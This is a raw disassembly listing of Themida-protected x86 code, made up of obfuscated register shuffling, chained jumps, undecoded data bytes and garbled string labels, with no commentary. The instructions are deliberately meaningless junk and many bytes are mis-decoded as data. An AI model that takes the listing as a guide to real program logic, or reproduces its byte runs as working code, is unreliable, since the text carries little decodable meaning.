; ---------------------------------------------------------------------------
		db 80h,	0EEh, 1Dh
		dd 80C3CE80h, 0F0005DF6h, 56F2E9h, 0C0D0F600h, 2E2407E8h
		dd 8E044C34h, 58C688h, 24148BF0h, 81E68956h, 4C6h, 4C68300h
		dd 0E9243487h, 0C0CEh, 0E904C483h, 2265h, 0E9242C8Bh, 8291h
; ---------------------------------------------------------------------------


loc_550CF4:				; CODE XREF: Themida_:005583CAj
		pop	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5529F8
; ---------------------------------------------------------------------------


loc_550D02:				; CODE XREF: Themida_:00555DB5j
		or	eax, eax
		jz	loc_553651
		push	dword ptr [edi+1Ch]
		mov	ecx, [esp]
		jmp	loc_55366A
; ---------------------------------------------------------------------------


loc_550D15:				; CODE XREF: Themida_:00552061j
		mov	ebx, ebp
		jmp	loc_55897A
; ---------------------------------------------------------------------------


loc_550D1C:				; CODE XREF: Themida_:00554D0Fj
		add	esp, 4
		push	eax
		mov	ah, 3Eh
		add	ah, 89h
		and	ah, 6Bh
		xor	ah, 50h
		jmp	loc_552B6C
; ---------------------------------------------------------------------------
		db 2Dh
		dd 4A5F0080h, 0DC0DEE05h, 78980522h, 65E97710h,	0D300004Fh
		dd 0E99C242Ch, 0FFFFFCF6h
; ---------------------------------------------------------------------------


loc_550D50:				; CODE XREF: Themida_:005529A4j
		dec	ecx
		push	edi
		mov	edi, 26F84E88h
		dec	edi
		inc	edi
		inc	edi
		jmp	loc_553C39
; ---------------------------------------------------------------------------
		db 0ACh
		dd 5130B252h, 0E980CBB1h, 91ACE9FFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_550D6E:				; CODE XREF: Themida_:0055670Cj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	4941h
		mov	[esp], ebp
		push	ebx
		mov	ebx, 2E9B366Bh
		add	ebx, 6A772E1Fh
		sub	ebx, 7F0F632Ch
		dec	ebx
		push	ebp
		mov	ebp, 3B8254C2h
		jmp	loc_55AD65
; ---------------------------------------------------------------------------
		dw 0B168h
		dd 89000023h, 74FF240Ch, 0E9590424h, 4A67h
; ---------------------------------------------------------------------------


loc_550DBC:				; CODE XREF: Themida_:00554D27j
		push	edx
		jmp	loc_55301E
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 81E78924h, 4C7h, 4C78100h, 0E9000000h, 4C56h, 0D4F6C4FEh
		dd 509EB652h, 4FE9F088h, 52000025h, 0A23591BAh,	0E4C2811Bh
		dd 29414A29h, 0BDD9E9D0h, 0B0680000h, 89000001h, 5E5D2434h
		dd 5474C281h, 0EA016CC0h, 5474EA81h, 875D6CC0h,	0A0E92414h
		dd 4E000006h, 5C40E9h
		db 0
; ---------------------------------------------------------------------------


loc_550E21:				; CODE XREF: Themida_:0055C1F1j
		and	ecx, ebx
		pop	ebx
		shr	ecx, 7
		jmp	loc_55AA31
; ---------------------------------------------------------------------------
		dd 0E904EC83h, 70BFh, 0E4C7815Bh, 16E8455h, 0E4EF81CFh
		dd 596E8455h, 3304C783h, 3C31243Ch, 2308E924h, 34890000h
		dd 30BF5724h, 0E90AEB23h, 58E7h
; ---------------------------------------------------------------------------


loc_550E60:				; CODE XREF: Themida_:00550FEEj
		mov	[esp], esi
		push	edx
		mov	edx, 10B625A8h
		sub	edx, 1
		dec	edx
		xor	edx, 481045F9h
		push	ebp
		jmp	loc_55842D
; ---------------------------------------------------------------------------
		db 5Ch,	0Fh, 0B7h
		dd 4EC81C8h, 89000000h,	5A542414h, 0F0468h, 242C8900h
		dd 4BDh, 0D9EA8100h, 13BDA4Dh, 1694E9EAh, 52AC0000h, 0F028CAB6h
		dd 836DE95Ah, 34FF0000h, 24048B24h, 4C481h, 0ED680000h
		dd 89000050h, 5B54241Ch, 4C381h, 51560000h, 2ED3E9h
		db 0
; ---------------------------------------------------------------------------


loc_550ED1:				; CODE XREF: Themida_:0055B0E0j
		push	ecx
		mov	ecx, 0DAB0EEF8h
		jmp	loc_55CD39
; ---------------------------------------------------------------------------
		dd 78168h, 241C8900h, 0A11030BBh, 25E94337h, 8100000Eh
		dd 4C7h, 535A6800h, 1C890000h, 18685124h, 0E9323D1Bh, 6AAh
		dd 2950BA52h, 0E2815B2Eh, 31235D1Ch, 8260E9h
		db 0
; ---------------------------------------------------------------------------


loc_550F19:				; CODE XREF: Themida_:00552966j
		add	edx, 0ACDF7D9Ch
		add	eax, edx
		pop	edx
		add	eax, edi
		mov	dword ptr [eax], 0
		pop	eax


loc_550F2B:				; CODE XREF: Themida_:00552F00j
					; Themida_:005543E6j
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 540B4433h
		push	ecx
		mov	ecx, 24B0114Fh
		and	eax, ecx
		pop	ecx
		jmp	loc_55641C
; ---------------------------------------------------------------------------
		db 53h
		dd 0C27B18BBh, 1CFCE948h, 34310000h, 24343324h,	0E924248Bh
		dd 5AACh
; ---------------------------------------------------------------------------


loc_550F6C:				; CODE XREF: Themida_:00556310j
		mov	ebp, 216B4127h
		push	esi
		mov	esi, 4299369Ah
		mov	ecx, esi
		jmp	loc_558EAC
; ---------------------------------------------------------------------------


loc_550F7E:				; CODE XREF: Themida_:00556241j
		mov	edx, 2F661BE8h
		push	ecx
		mov	ecx, 67B66738h
		or	edx, ecx
		pop	ecx
		sub	edx, 99D4555Bh
		sub	ebp, edx
		pop	edx
		mov	edx, ebp
		pop	ebp
		add	dword ptr [esp+4], 563C6DCFh
		jmp	loc_55CA93
; ---------------------------------------------------------------------------
aIts		db '┴БИп',0Ah,0
		align 4


loc_550FAC:				; CODE XREF: Themida_:00554473j
		push	eax
		mov	eax, 66BB2037h
		xchg	eax, edx
		not	edx
		xchg	eax, edx
		dec	eax
		add	eax, 66BB203Dh
		jmp	loc_55778F
; ---------------------------------------------------------------------------
		db 89h,	0CFh, 8Bh
		dd 0C481240Ch, 4, 3C8BF989h, 4C48324h, 7EC3E9h
		db 0
; ---------------------------------------------------------------------------


loc_550FD9:				; CODE XREF: Themida_:00555CEEj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	51C5h
		jmp	loc_550E60
; ---------------------------------------------------------------------------
aBUuMsd		db '│оuU',1Bh,'MИ╓\',0
		align 2
		dw 0C89h
aFss_		db '$╠╫fSИ.=',0
		align 2
		dw 0C89h
aH_@		db '$h.@',0
		align 2
		dw 489h
		dd 3DA6B824h, 71B9712Fh, 3125DC55h, 0E98158C1h,	54F368D5h
		dd 0B367E9h, 58C50100h,	0BB0FE9h, 1C77FF00h, 1858669Dh
		dd 0E99C2404h, 0FFFFFA02h, 24048B66h, 7FD6E9h, 240C8B00h
		dd 8478E9h
		db 0
; ---------------------------------------------------------------------------


loc_551055:				; CODE XREF: Themida_:005514DFj
		add	ebp, 611C64D4h
		xor	esi, ebp
		jmp	loc_559D8C
; ---------------------------------------------------------------------------
		dw 815Fh
		dd 2054EF3h, 5330E910h,	89660000h, 0B551241Ch, 916EE9FFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55107A:				; CODE XREF: Themida_:0055C93Ej
		push	1AF6h
		mov	[esp], edi
		push	4
		push	dword ptr [esp]
		pop	edi
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	ebp, edi
		jmp	loc_553010
; ---------------------------------------------------------------------------
aLQh_		db '▀$$Qh.:',0
		align 2
		dw 1489h
aIIZs		db '$┬б┬уZS╩',0
		align 4
		dd 6909EB81h, 0D3015564h, 577DE9h, 4C08300h, 5C240487h
		dd 0C380C300h, 17AAE944h, 0E9500000h, 172Ch, 0E9534AB1h
		dd 1862h, 5A5A68h, 24048900h, 0E92434FFh, 3161h, 50241C89h
		dd 99B5E9h, 0BF57AD00h,	3EC054Dh, 0C521EF81h, 0F801F315h
		dd 0E9D8295Fh, 4AFBh, 0E6E9F031h, 8000002Ah, 0C3808FE3h
		dd 5BDC2824h, 0E98AEC80h, 320Eh, 592434FFh, 441E68h, 241C8900h
		dd 0C468E389h, 8900000Ah, 0E3E92404h, 8300009Ch, 0C8B04C4h
		dd 4C48124h, 61000000h,	4093E99Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55115E:				; CODE XREF: Themida_:005545CFj
		push	816h
		mov	[esp], ebx
		mov	bh, 17h
		and	bh, 0F0h
		add	bh, 0D9h
		sub	bh, 7Ah
		push	edx
		mov	dl, 0ADh
		jmp	loc_551305
; ---------------------------------------------------------------------------


loc_551179:				; CODE XREF: Themida_:005566F6j
		shr	ecx, 1
		add	ecx, 69192E6Bh
		shr	ecx, 2
		shr	ecx, 8
		not	ecx
		jmp	loc_55A35C
; ---------------------------------------------------------------------------
		dw 433h
		dd 24043124h, 0B3EEE9h,	2434FF00h, 0E0895058h, 0BB2E9h
		db 0
; ---------------------------------------------------------------------------


loc_5511A5:				; CODE XREF: Themida_:00559442j
		push	ecx
		mov	ch, 9
		sub	al, 0BEh
		sub	al, ch
		push	dx
		mov	dh, 0BEh
		jmp	loc_557AF9
; ---------------------------------------------------------------------------
		db 68h,	30h, 7
		dd 3C890000h, 5326BF24h, 0D7F7551Fh, 0F781DFF7h, 12982CF3h
		dd 815FFA21h, 58CF6BC2h, 5AD029BFh, 1393E9h
		db 0
; ---------------------------------------------------------------------------


loc_5511DD:				; CODE XREF: Themida_:005516B3j
		dec	ebp
		not	ebp
		add	ebp, 76795788h
		add	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_552998
; ---------------------------------------------------------------------------


loc_5511F6:				; CODE XREF: Themida_:005524B6j
		shr	ecx, 4
		push	ebx
		jmp	loc_5551F7
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFF842h
; ---------------------------------------------------------------------------


loc_551204:				; CODE XREF: Themida_:0055C8C5j
		add	esp, 4
		mov	dword ptr [edi+24h], 72C7434Fh
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_559CCC
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0E9DAF7DAh, 9DA8h, 690D68h, 24148900h, 42474FFh, 24048F5Ah
		dd 124248Bh, 0E99C2404h, 5E13h
; ---------------------------------------------------------------------------


loc_551244:				; CODE XREF: Themida_:0055CA20j
		mov	edi, 5EA29E17h
		jmp	loc_55324A
; ---------------------------------------------------------------------------


loc_55124E:				; CODE XREF: Themida_:005549C3j
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 3435C8Dh
		mov	ebp, 5B265CFh
		xor	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		xor	[esp+4], ebp
		pop	ebp
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_557543
; ---------------------------------------------------------------------------
a_sdo		db '_Иd▌',0
		align 4
aPg@sE		db '▐G@И╣┘',0
		align 10h
		dd 8B2434FFh, 0C481240Ch, 4, 7D1EE9h, 24448A00h, 24548802h
		dd 148B6602h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		mov	edi, 40EE4000h
		shl	edi, 3
		jmp	loc_557036
; ---------------------------------------------------------------------------
		dd 24148966h, 535102B2h, 0FD8822B7h, 83241C8Bh,	4FE904C4h
		dd 5D000090h, 3185E9h, 585A6600h, 3C0AE9h, 240C8B00h, 8304C483h
		dd 148704C2h, 24248B24h, 9361E9h, 6E6C000h, 3333E9h
		db 0
; ---------------------------------------------------------------------------


loc_551305:				; CODE XREF: Themida_:00551174j
		add	dl, 31h
		xor	dl, 71h
		jmp	loc_55202A
; ---------------------------------------------------------------------------
		dd 0C2C38058h, 66A6EB80h, 30B9B652h, 0A075E9F3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551322:				; CODE XREF: Themida_:00552249j
		sub	ebp, 619576A8h
		shl	ebp, 2
		not	ebp
		sub	ebp, 8D9CD3DFh
		mov	eax, ebp
		pop	ebp
		dec	eax
		jmp	loc_558216
; ---------------------------------------------------------------------------


loc_55133C:				; CODE XREF: Themida_:0055CB07j
		mov	ebx, 4F6B28D8h
		jmp	loc_552FC6
; ---------------------------------------------------------------------------
		dw 0E901h
		dd 2C1835Dh, 0E9240C33h, 38BBh,	555E5456h, 294385BDh, 0ACC58137h
		dd 81281D34h, 0B987D3C5h, 261E9A0h, 0E9560000h,	114Dh
; ---------------------------------------------------------------------------


loc_551374:				; CODE XREF: Themida_:0055A795j
		xchg	edi, [esp]
		pop	edi
		sub	esp, 4
		jmp	loc_55CB36
; ---------------------------------------------------------------------------
a1sM		db '╡1И%╛',0
		align 2
aFqF0S?		db 'fQ╠f0лИ? ',0
		dd 0FFE95200h, 870000B3h, 34E92404h, 68000069h,	34D6h
		dd 55241C89h, 2BDh, 0E9EB8900h,	3FA1h, 2B85058h, 81000000h
		dd 99510FC1h, 81C1295Eh, 99510FE9h, 3124E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5513D2:				; CODE XREF: Themida_:0055515Aj
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_556F60
; ---------------------------------------------------------------------------
		dw 0E983h
		dd 0F6E95104h, 0B500009Dh, 95F0E94Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5513F2:				; CODE XREF: Themida_:0055B6CBj
		shr	edx, 7
		add	edx, 27C74D17h
		and	edx, 77BB7DC5h
		xor	edx, 392C065Ah
		push	ecx
		mov	ecx, 49CD081Eh
		neg	ecx
		and	ecx, 2CA83119h
		add	ecx, 18445E43h
		and	ecx, 293F0B85h
		jmp	loc_552D8D
; ---------------------------------------------------------------------------


loc_551426:				; CODE XREF: Themida_:0055B3C0j
		add	esi, 4
		jmp	loc_55B43B
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 1F5BE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55143A:				; CODE XREF: Themida_:00555894j
		add	dword ptr [esp+4], 1B290341h
		pop	esi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 32A428EFh
		sub	[esp+4], eax
		pop	eax
		jmp	loc_55751C
; ---------------------------------------------------------------------------
		db 66h
		dd 0EC81C329h, 2, 24348966h, 523BE9h, 4B95100h,	0E9000000h
		dd 1D55h
; ---------------------------------------------------------------------------


loc_551478:				; CODE XREF: Themida_:0055A4DBj
		push	edx
		push	ebp
		mov	ebp, 0
		mov	edx, ebp
		jmp	loc_554359
; ---------------------------------------------------------------------------
		dw 1489h
		dd 4463BA24h, 0F2812F9Fh, 483F3FF9h, 5381C281h,	0EA811468h
		dd 1D6F54C4h, 69F6850h,	1C890000h, 7EA4BB24h, 0D889378Bh
		dd 52241C8Bh, 91E9E289h, 8B000018h, 0CB682424h,	8900007Eh
		dd 7BE92404h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5514CB:				; CODE XREF: Themida_:00552D18j
		pop	cx
		jmp	loc_5545CE
; ---------------------------------------------------------------------------


loc_5514D2:				; CODE XREF: Themida_:00554454j
		xor	ebp, 247C0B0Eh
		dec	ebp
		and	ebp, 56803F1Dh
		jmp	loc_551055
; ---------------------------------------------------------------------------
		dd 0E904EAC1h, 64E6h
; ---------------------------------------------------------------------------


loc_5514EC:				; CODE XREF: Themida_:0055519Aj
		mov	edi, [esp]
		jmp	loc_551608
; ---------------------------------------------------------------------------
aZszj		db 'ZИz╕',0
		align 2


loc_5514FA:				; CODE XREF: Themida_:0055ABF8j
		xor	edx, [esp]
		mov	esp, [esp]
		or	ebx, ebx
		jnz	loc_552EFC
		push	eax
		push	ebp
		mov	ebp, 654823CEh
		inc	ebp
		neg	ebp
		push	eax
		mov	eax, 654823EFh
		sub	ebp, 7D503D14h
		jmp	loc_552440
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C892424h, 0E945B524h, 733Dh, 835BDA01h, 148704C2h
		dd 0F665C24h, 686600B6h, 89663476h, 0FBE92404h,	66FFFFF4h
		dd 8324048Bh, 148904ECh, 81E28924h, 4C2h, 4EC8300h, 3C69E9h
		dd 0F4DCE900h, 0F680FFFFh, 5AF028A8h, 5266D800h, 0F00024B6h
		dd 66535A66h, 17FDE951h, 0D8F70000h, 0E0FD5405h, 8BC23142h
		dd 77E92404h, 8100008Ch, 4C4h, 4C18300h, 0FFF809E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5515A1:				; CODE XREF: Themida_:005572E9j
		add	esi, 3D1F1CF8h
		sub	esi, 4ED6C1D8h
		jmp	loc_555AA1
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48324h, 94A1E941h,	0E1C10000h, 68BD5507h, 0D16C3F14h
		dd 77E945E5h, 100006Eh,	0FD05E9EEh, 0C381FFFFh,	677FEE04h
		dd 3264E981h, 0D9015BEBh, 3264C181h, 0F1E95BEBh, 81000016h
		dd 4B9FC3h, 57C30160h, 7340BE56h, 0DF6879B5h, 0E9D9B5BEh
		dd 932Eh
; ---------------------------------------------------------------------------


loc_551608:				; CODE XREF: Themida_:005514EFj
		add	esp, 4
		inc	edx
		xor	edx, 0E2C41616h
		jmp	loc_55468C
; ---------------------------------------------------------------------------
		dw 0FABBh
		dd 0C12AF860h, 0F38108E3h, 0F860FA04h, 9611E9h,	4C68100h
		dd 0E9000000h, 902Bh
; ---------------------------------------------------------------------------


loc_551638:				; CODE XREF: Themida_:005544F1j
		mov	eax, [esp]
		push	eax
		jmp	loc_55AC7B
; ---------------------------------------------------------------------------


loc_551641:				; CODE XREF: Themida_:005547B8j
		pop	ebx
		jmp	loc_5530A6
; ---------------------------------------------------------------------------
		db 31h
		dd 1C33241Ch, 0E1F75C24h, 575D5455h, 0EC7D6EBFh, 0EFC14728h
		dd 0A6BCE906h, 0DFE90000h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551667:				; CODE XREF: Themida_:00555D14j
		pop	esp
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		jmp	loc_554248
; ---------------------------------------------------------------------------
		db 0BFh, 38h, 5Fh
		dd 0F7576794h, 0E95F2414h, 0C65h, 0FE88E9B7h, 0E9DEF65Bh
		dd 7B32h, 101CBA52h, 98E97EEDh,	0B700003Ah, 62CBE9A1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5516A6:				; CODE XREF: Themida_:00558EADj
		add	ecx, 70850C20h
		jmp	loc_5535E8
; ---------------------------------------------------------------------------


loc_5516B1:				; CODE XREF: Themida_:0055A512j
		neg	ebp
		jmp	loc_5511DD
; ---------------------------------------------------------------------------
		dd 0C8BC820h, 7A596824h, 4890000h, 5E08924h, 4,	7F1AE952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5516D2:				; CODE XREF: Themida_:0055C203j
		mov	[esp], ecx
		mov	ecx, 53F233DFh
		add	eax, ecx
		pop	ecx
		sub	eax, 4C5D7149h
		add	eax, edi
		add	eax, 4C5D7149h
		jmp	loc_55739D
; ---------------------------------------------------------------------------
aXvtQsyv	db 'XVT^QИyv',0
		align 4
		dd 89BBB53h, 0EB810786h, 0BED5E0Bh, 9AE9DBF7h, 5D0000B0h
		dd 31A6E9h, 0E9E78900h,	2CDh, 4C681h, 0EE810000h, 4, 0E9243487h
		dd 283Ch, 74FF5659h, 348B0424h,	4C48124h, 8F000000h, 248B2404h
		dd 24048924h, 0FFF2FDE9h, 0CF015DFFh, 2C78359h,	2474FF57h
		dd 48F5F04h, 24248B24h,	4B30F66h, 0DFE99C24h
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551767:				; CODE XREF: Themida_:005532B8j
		add	esp, 4
		and	eax, ebx
		pop	ebx
		shr	eax, 0Eh
		xor	eax, ecx
		push	eax
		push	edi
		pop	eax
		pop	edi
		jmp	loc_55A37E
; ---------------------------------------------------------------------------
		db 66h
		dd 0E924248Bh, 0FFFFF2C2h, 241C8B5Ch, 5722E9h, 586600h
		dd 2434FFCBh, 0A76FE9h,	0C4815900h, 4, 687DEA81h, 0C20176D8h
		dd 687DC281h, 0BD5576D8h, 4E622216h, 0F9E9EA01h, 81000085h
		dd 4C3h, 5C486800h, 1C890000h, 2474FF24h, 48F5B04h, 24248B24h
		dd 9ABAE9h, 4C08300h, 2474FF50h, 9E95804h, 0BE00002Fh
		dd 3DCB1EE4h, 0B850D6F7h, 3DCB1EE9h, 0E958C601h, 971Dh
		dd 3248C681h, 0CE29316Ah, 3248EE81h, 0B850316Ah, 14113DFDh
		dd 0F8707E2Dh, 1FCE0D67h, 56899h, 485E330Ch, 2414F750h
		dd 596B0558h, 0C601B700h, 9DFAE9h, 50525A00h, 42474FFh
		dd 24048F58h, 487D0F7h,	0EC815A24h, 4, 0BF243C89h, 2A5D50D7h
		dd 0E94EF787h, 0AE75h, 8BE9FA87h, 8100002Ah, 4ECh, 24348900h
		dd 8E56E9h, 81EA0100h, 9414F1C2h, 0AB9EE95Eh, 0A680000h
		dd 89000018h, 0E0892404h, 12A568h, 24348900h, 4B3B35BEh
		dd 0C1DEF749h, 0EC8103E6h, 4, 0A12E9h, 0DEBF5700h, 81747449h
		dd 977D6DC7h, 0BEF8150h, 8154AE6Ch, 0BD167BE7h,	0E9DFF73Dh
		dd 4324h, 6107EB81h, 97E97DD2h,	81000044h, 19D4DCF7h, 1E7E9B1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5518D6:				; CODE XREF: Themida_:005574D4j
		pop	edx
		inc	ebx
		xor	ebx, 0B91778A5h
		or	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		or	ebp, 94068FDh
		add	ebp, 3FDFAFDh
		add	ecx, 3D4D4B6Eh
		sub	ecx, ebp
		sub	ecx, 3D4D4B6Eh
		pop	ebp
		and	eax, ecx
		jmp	loc_558D2F
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0FC90B00h, 0A4D884h, 0E6895600h, 2FE4E9h, 3E95900h
		dd 5B000005h, 5717E9h, 0D1F74100h, 1A31BD55h, 0E929D1C9h
		dd 66EF815Dh, 0E94EEE17h, 0A559h, 2C681h, 0FF560000h, 0E9042474h
		dd 1134h
; ---------------------------------------------------------------------------


loc_551954:				; CODE XREF: Themida_:00552A5Dj
		or	eax, 9DF17ECh
		xor	eax, 1994CFC5h
		add	ecx, eax
		pop	eax
		mov	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	edx, ebp
		jmp	loc_552963
; ---------------------------------------------------------------------------


loc_551973:				; CODE XREF: Themida_:00552993j
		mov	[esp], esi
		jmp	loc_55227F
; ---------------------------------------------------------------------------


loc_55197B:				; CODE XREF: Themida_:00555942j
		push	edi
		mov	edi, 4
		sub	esi, edi
		pop	edi
		xchg	esi, [esp]
		jmp	loc_55441F
; ---------------------------------------------------------------------------
aAsASei		db '─И$─а╬(ыИ╔╗',0
		dd 40F58000h, 0C8BE830h, 8DFEE924h, 0E6890000h,	516BD55h
		dd 0F5813D34h, 674F77AAh, 0F706E5C1h, 88F581D5h, 0C16BA12Ch
		dd 0DDF706EDh, 17E0E9h,	2434FF00h, 0B03DE95Ah, 0C4810000h
		dd 4, 5C24048Fh, 9CC88566h, 0FFF061E9h,	4BD55FFh, 1000000h
		dd 0C7815DEFh, 4, 2474FF57h, 48F5F04h, 0A88EE924h, 0C4810000h
		dd 4, 0B435D0F7h, 50F1063Bh, 83243C8Bh,	48B04C4h, 4C48324h
		dd 3C8BF801h, 0A0D4E924h, 48B0000h, 4C48324h, 0B2EDE9h
		dd 8BD30100h, 0E9572414h, 0C68h, 37E1E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551A42:				; CODE XREF: Themida_:005573B8j
		mov	dh, bl
		jmp	loc_558391
; ---------------------------------------------------------------------------
		db 0ACh, 4, 0E5h
		dd 8956D800h, 0FCC2E9E6h, 79B8FFFFh, 256E6050h,	6EA8416Dh
		dd 0F706E8C1h, 2C6F05D0h, 32355593h, 523D90Fh, 0B65DB939h
		dd 0E958C329h, 0ABAAh, 4C281h, 0C2830000h, 24148704h, 27A0E9h
		db 0
; ---------------------------------------------------------------------------


loc_551A8D:				; CODE XREF: Themida_:00557031j
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		shr	eax, 12h
		xor	eax, ecx
		push	6042h
		mov	[esp], eax
		xchg	eax, [esp]
		push	eax
		not	dword ptr [esp]
		pop	eax
		jmp	loc_552812
; ---------------------------------------------------------------------------
aWys?		db 'WYИ*?',0
		align 4
		dd 0C6815E54h, 4, 4BF57h, 0FE290000h, 2434875Fh, 2414895Ch
		dd 2FD1E9h, 0C6814E00h,	0FFED77CDh, 515EF301h, 0C181E189h
		dd 4, 3304E983h, 0C31240Ch, 240C3324h, 2434895Ch, 9A7780BEh
		dd 0A03CE919h, 0C4810000h, 4, 575A685Eh, 1C890000h, 4BB24h
		dd 0EE810000h, 26FB4E67h, 5BE9DE01h, 33000026h,	14312414h
		dd 24143324h, 0C83B665Ch, 0EF04E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551B42:				; CODE XREF: Themida_:005593CCj
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 60104543h
		sub	esi, edi
		pop	edi
		dec	esi
		or	esi, 0EBE672Eh
		dec	esi
		xor	esi, 0E442C8Ch
		sub	edi, esi
		jmp	loc_554DAC
; ---------------------------------------------------------------------------
		dd 4B9h, 246C8100h, 1E61DF04h, 244C012Fh, 0DFBB5304h, 12F1E61h
		dd 5B08245Ch, 0C1815959h, 4, 4EC81h, 9AE90000h
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551B97:				; CODE XREF: Themida_:005585ACj
		sub	ebx, 4
		jmp	loc_5591E0
; ---------------------------------------------------------------------------
		db 0F7h
		dd 34FF2414h, 0C4815924h, 4, 4108E9C1h,	483CF181h, 83E97BE7h
		dd 81000001h, 4C6h, 4EE8300h, 2474FF56h, 9CE95E04h, 81000093h
		dd 6D36DCE6h, 0B8C6812Eh, 815FE876h, 3C3711EEh,	1DC68145h
		dd 81B70B9Ch, 0A719CAC3h, 81F30162h, 0A719CAEBh, 24348B62h
		dd 5004C483h, 4B8h, 58C30100h, 8B241C87h, 37E92424h, 5DFFFFEEh
		dd 2FE4E781h, 0F75739FBh, 3C8B2414h, 4C48124h, 51000000h
		dd 7D0CE9h, 0EE18E900h,	0E951FFFFh, 1ECh, 0E959CD89h, 94CCh
		dd 8CE9EE00h, 51000067h, 42474FFh, 24048F59h, 7C16E9h
		dd 4C28100h, 56000000h,	0C681E689h, 4, 4EE81h, 34870000h
		dd 2C895C24h, 6EAC6824h, 34890000h, 1B7CBE24h, 0B9512C80h
		dd 0
		dd 6F14E9h, 66C32800h, 2834B252h, 0F64FE9D3h, 0B850FFFFh
		dd 30EA0916h, 5058C531h, 0C97B8FB8h, 0C935406Ch, 97A8229h
		dd 0C58158C5h, 6DAB525Fh, 0E95DE829h, 0CB3h
; ---------------------------------------------------------------------------


loc_551CB8:				; CODE XREF: Themida_:005587E2j
		sub	edi, 1A75EBFh
		sub	edi, esi
		add	edi, 1A75EBFh
		jmp	loc_55406F
; ---------------------------------------------------------------------------


loc_551CCB:				; CODE XREF: Themida_:00558204j
		xor	edx, esi
		pop	esi
		add	ebx, edx
		pop	edx
		pop	ecx
		jmp	loc_5536B2
; ---------------------------------------------------------------------------
		db 5
		dd 3A8D70B0h, 0AE9E801h
		db 86h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551CE3:				; CODE XREF: Themida_:00558620j
		push	0FECh
		mov	[esp], edx
		push	80000h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55B004
; ---------------------------------------------------------------------------
		dw 43E9h
		dd 5AFFFFEDh, 498BE9h
		db 0
; ---------------------------------------------------------------------------


loc_551D09:				; CODE XREF: Themida_:005571FAj
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_558C2B
; ---------------------------------------------------------------------------
		dd 1035F381h, 0F26837A1h, 89000015h, 85BA2414h,	29021B09h
		dd 0DE015AD6h, 6B9FBF57h, 814F7A9Bh, 0A04D55EFh, 152BE964h
		dd 0EC830000h, 24348904h, 0E46AB0BEh, 0DEE95700h, 5E000030h
		dd 2E95056h, 5000054h, 4, 4B951h, 0FBE90000h
		db 71h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551D67:				; CODE XREF: Themida_:005545C9j
		mov	bh, ch
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5573AC
; ---------------------------------------------------------------------------
		db 83h
		dd 3C8904ECh, 53E78924h, 4BBh, 5BDF0100h, 62026852h, 4890000h
		dd 4C4B824h, 312D27F9h,	89CF70F7h, 34E958C2h, 51000016h
		dd 0EF082DB5h, 9C3DE9h
		db 0
; ---------------------------------------------------------------------------


loc_551DAD:				; CODE XREF: Themida_:00553D0Cj
		xor	esi, 717B70Eh
		mov	ebp, esi
		jmp	loc_5524BB
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4815824h, 4, 3104C483h, 2434FFF8h,	4C4815Fh, 0E9000000h
		dd 4CF0h, 79FEE281h, 0EA813740h, 313261A4h, 895AD331h
		dd 0D0015BD8h, 87D7E9h,	81E28900h, 4C2h, 4C28100h, 87000000h
		dd 0CEE92414h, 5A000065h, 0D3BEEF81h, 0F9299E4Bh, 59C8295Fh
		dd 6997BD55h, 0E9560322h, 3BFCh, 163C5FB9h, 72FCE920h
